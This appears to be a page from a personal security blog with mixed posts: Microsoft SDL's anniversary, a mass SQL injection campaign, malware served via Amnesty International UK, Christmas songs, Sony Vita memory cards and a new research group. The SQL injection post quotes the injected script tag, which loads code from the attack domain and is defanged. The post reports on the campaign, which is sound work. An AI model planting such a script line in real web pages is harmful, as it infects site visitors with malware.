Happy 10th Birthday SDL

Many Happy Returns

Or successful continuations, if that's your programming paradigm of choice. They're busily blowing out candles and popping the fizz over at Microsoft Security Development Lifecycle Group. It's exactly ten years to the day since William Henry "Bill" Gates III,

[...] in response to customer feedback, grabbed his dilemma by the horns, and issued a back-me-or-sack-you directive known lovingly as Trustworthy Computing. Company-wide memos like this were rare. This one went into every department, as company-wide memos are wont to do, and demanded sweeping improvements in the "four pillars" on which the customer experience is based: security, privacy, reliability, and business integrity.

(from my Security 101: Part 2 a couple of years ago).

The Microsoft SDL Blog is itself celebrating with an appropriately crusty reminiscence, Trustworthy Computing’s 10 Year Milestone – Reflecting on Humble Beginnings, by Steve Lipner, Senior Director of Security Engineering Strategy, on behalf of the rest of the Trustworthy Computing team; frankly outdone by Principal Cybersecurity Architect Michael Howard's comprehensive memoir What a Journey It Has Been, and noted in turn by David Burt at the Microsoft Privacy & Safety TechNet blog among countless other well- (and ill-!) wishers.

[As an aside, while you're checking out those accounts, the new SDL post Compiler Security Enhancements in Visual Studio 11 by Tim Burrell (MSEC security science) gives a rare preview of the new /sdl and updated /GS switches.]

Let's join in wishing the Microsoft SDL another ten years of security enhancement and threat mitigation!

Picture of His Billness courtesy of Wikipedia.

Li1up0phi1up0p

Just Don't Go There

I've numfuscated the name of this domain, just to try to ensure that you won't end up going there accidentally. But Li1up0phi1up0p reached a significant milestone last week. In an ecosystem of low to medium spread, low to medium profile SQL Injection attacks, many quite serious and mitigated only by these low numbers, this one has over the span of six or more weeks, achieved in excess of one million infected URLs. I've been watching it grow...

Mark Hofman of Shearwater reported on December 1 last year, several websites becoming infected with a SQL Injection script containing the string

"></title> < script src="hXXp://Li1up0phi1up0p.com/sl.php"> < /script>

(or, as I said, something quite like it :-). Checking Google, he found the number of infections at that time to be about 80, covering all versions of MSSQL. Next day, similar checks revealed about 200 infections in the morning, a thousand by lunchtime, and over four thousand that afternoon. One week and 160,000 infected websites into the event, it had become clear the attack was spreading rapidly via several and various automated sources. The most affected single region was .uk, followed by .de and then .com.

Mark's log at the SANS Internet Storm Center blog ISC Diary contains details of database "probing" occurring some time prior to the actual commencement of the attack, and some detailed information about its motive (it's attached to a fake AV scam), while at Kaspersky's ThreatPost, Dennis Fisher reveals something of its modus operandi as it works through various IIS, ASP and Microsoft SQL Server vulnerabilities.

A very similar attack with the moniker lizamoon also achieved a million infections earlier in 2011.

Scattered Along the River of Heaven

A Happy New Year to everyone who's currently using the same calendar as me.

Here's a great short to kindle your new year, new found, interest in Science Fiction. Aliette de Bodard is an American born, Franco-Vietnamese author and defence video analyst who lives in Paris. She has a strong interest in ancient Aztec, Vietnamese and Chinese cultures. This piece, based on four original poems in ancient Chinese (Qing and Tang) styles, is one of those stories you start re-reading immediately upon finishing it:

http://clarkesworldmagazine.com/de_bodard_01_12/

Amnesty International UK Attacked

Serving up Malware

Wouldn't it be ironic, and not in a wholesome or entertaining way, if the very act of visiting my (loosely) security based blog, and clicking on my very well intentioned Amnesty International sidebar, were to leave you infected with malware of a context-specific kind? Namely Trojan Spy-XR, the kind that spies on the activities of human rights activists, returning the electronic information so obtained to... certain countries...

Okay: China. There is evidence (from this ThreatExpert analysis) that the malicious Java file, currently being served in a cross-site way through a certain genuine but compromised Brazilian automotive website, appears to be associated with China. Brian Krebs reports the malware as belonging to "a notorious family of backdoor Trojans" from that quarter, and Chinese hacking groups are well known to be waging an ongoing campaign against dissident and human rights organizations, to extract personal and logistic information about them.

So ironic or not, that's what might have happened to you, had you clicked the aforementioned sidebar link within the past week or so. Sorry about that.

Mitigated by Unpopularity and... Java

Being unaware of the previous and ongoing targeting of human rights workers by this nefarious scheme and others like it, I had assumed that the relative lack of popularity of the Amnesty site (Alexa.com rating below 90,000) - not to mention that of my own blog! - made it a comparatively safe cross-link. But today I learned the organization’s site was hacked with a drive-by attack last April, while its Hong Kong website was in November 2010 hacked and seeded with an exploit dropping malware based around a previously unknown IE zero-day vulnerability (see this Websense report). In possible mitigation, these attackers are clearly not out for financial data or gain.

These attacks, as noted by Brian Krebs, serve to highlight the importance of keeping up to date with security patches. In the case of Java, a safer option might be to remove frequently targeted software you don’t really need.

My Top Ten Christmas Songs

OK Let's Get This Thing Over

Ho³! Everyone seems to be indulging this humbug a little early this year, but as XKCD shows (click through for full details), at least in America, and subjectively here in the UK too, there appears to be a huge cultural bias towards 40s and 50s Christmas songs. For once, I won't be straining to reach as far back in time as my braces will permit, as I own up to some personal favourites in the genre.



10. Mike Oldfield, who could never be bothered waiting around for everyone else to learn their parts, started the trend of playing everything yerself. This is from 1975, although originally from the middle ages:



9. Not strictly a Christmas song, more of a fine study in adolescent rivalry and frustration, slapped on to the B-side of 1986's Trumpton Riots with the word Christmas gratuitously grafted into the title: these are the peerless Half Man Half Biscuit...



8. Justin Hawkins pouted perfectly in 2003: Now how the hell am I gonna make it into the new year?



7. Another non-Christmas song, Joni Mitchell's River just happened to be set at Christmas time in 1971, on a rather melancholy variation of Jingle Bells...



6. This kazoo-festooned KT Tunstall cover of Mele Kalikimaka (Christmas In Hawaii) lit up 2007, but originally written by Robert Alex Anderson in 1949 and appearing on Bing Crosby's White Christmas album, it's the only of our ten falling within the XKCD boom years:



5. Greg Lake, replete with Troika (from Sergei Prokofiev's Lieutenant Kijé, 1934) protested the commercialization of Christmas 1975...



4. John Lennon would have shown that Lake guy a thing or two about protest in 1971...



3. Kirsty, we will never forget you... with The Pogues, perennially since 1987:



2. A prog masterwork from 1976, Ring Out Solstice Bells can be found on The Jethro Tull Christmas Album, alongside such yuletide favourites as A Christmas Song and Another Christmas Song...



1. Topping my festive selection: 1981 had the coolest Christmas song ever!



Please don't mention The Spice Girls. Have a happy holiday season, everyone.

Sony Handheld Nonportable

Vita has Flash Problem

And I don't mean Adobe. Even though discontinuing Flash development for mobile devices, Adobe are still in negotiations with Sony for a Vita version of (probably) Flash Mobile 11 - the last version they'll ever make available for phones and tablets. But Steve Jobs has driven all web video irrevocably in the direction of HTML5; and as for Flash games, well, they're mostly rubbish on wee displays like the Vita's 5" OLED capacitive touchscreen anyway. No, the issue I'm referring to is this new announcement from Sony, that the PS Vita will require the use of proprietary memory cards. And just why exactly might that be? A Sony spokesperson explains: [we are] using proprietary memory cards, both for security reasons, and to ensure a consistent experience for all users.

Ah right, security reasons, of course. And yes, a consistent user experience. Always thinking about its beloved users, Sony is. About their security. And about the consistency of their experience. So, we should expect these proprietary sticks to be priced similarly to existing, industry standard flash memory cards, right?


Prices are in dollars. Source: Amazon.com, except for Sony prices, which are current listings at Gamestop.

DeepEnd Research

New Security Group

Last month the security community welcomed a new member, DeepEnd Research...

[...] an independent information security research group that will focus on threat and intelligence analysis. Our emphasis will be on malware, exploit analysis, botnet tracking, the underground economy and overall cyberthreats. We will blog about various collection and analysis techniques, observations, and other areas of interest.

The group has also declared another primary goal: fostering collaborative research and analysis efforts with other security groups and organizations. It is staffed by a team of (currently eight) established security researchers, some of whom are already quite well known:

• Andre' M. DiMino of the Shadowserver Foundation gathering, tracking and reporting volunteer group;
• Mila Parkour, the independent blogger who in February first exposed the hacking of personal Gmail accounts belonging to military and government employees, and their associates;
• Yuriy Khvyl, Malware Analyst with CSIS Security Group;
• Someone called W---T--- (my guess is the American born painter and graphic artist James Abbott McNeill Whistler, 1834-1903, who faked his own death to continue his security research);
  
• Jart Armin from HostExploit;
• Marnie King;
• Rossano Ferraris, Senior Research Engineer for CA Technologies ISBU;
• and Chris Lee, a self confessed Unix geek with a love of security research and teaching.
  

The new group's first post, Dirt Jumper DDoS Bot - New versions, New targets, is a combined research and analysis effort by the first two named above. This is quite a piece of work - complete with its own table of contents! - and signals an intent to deliver on the promise held out by the new team's name.

Dirt Jumper, also commonly known as Russkill, is a cheap (~£200) commercial crimeware kit sold on the hacker underground. It works its DDoS magic by forcing tens of thousands of infected systems to request the home page of a targeted site, or more frequently, of many such sites en bloc. Brian Krebs was recently the focus of its attentions, an experience out of which he naturally blogged the living daylights.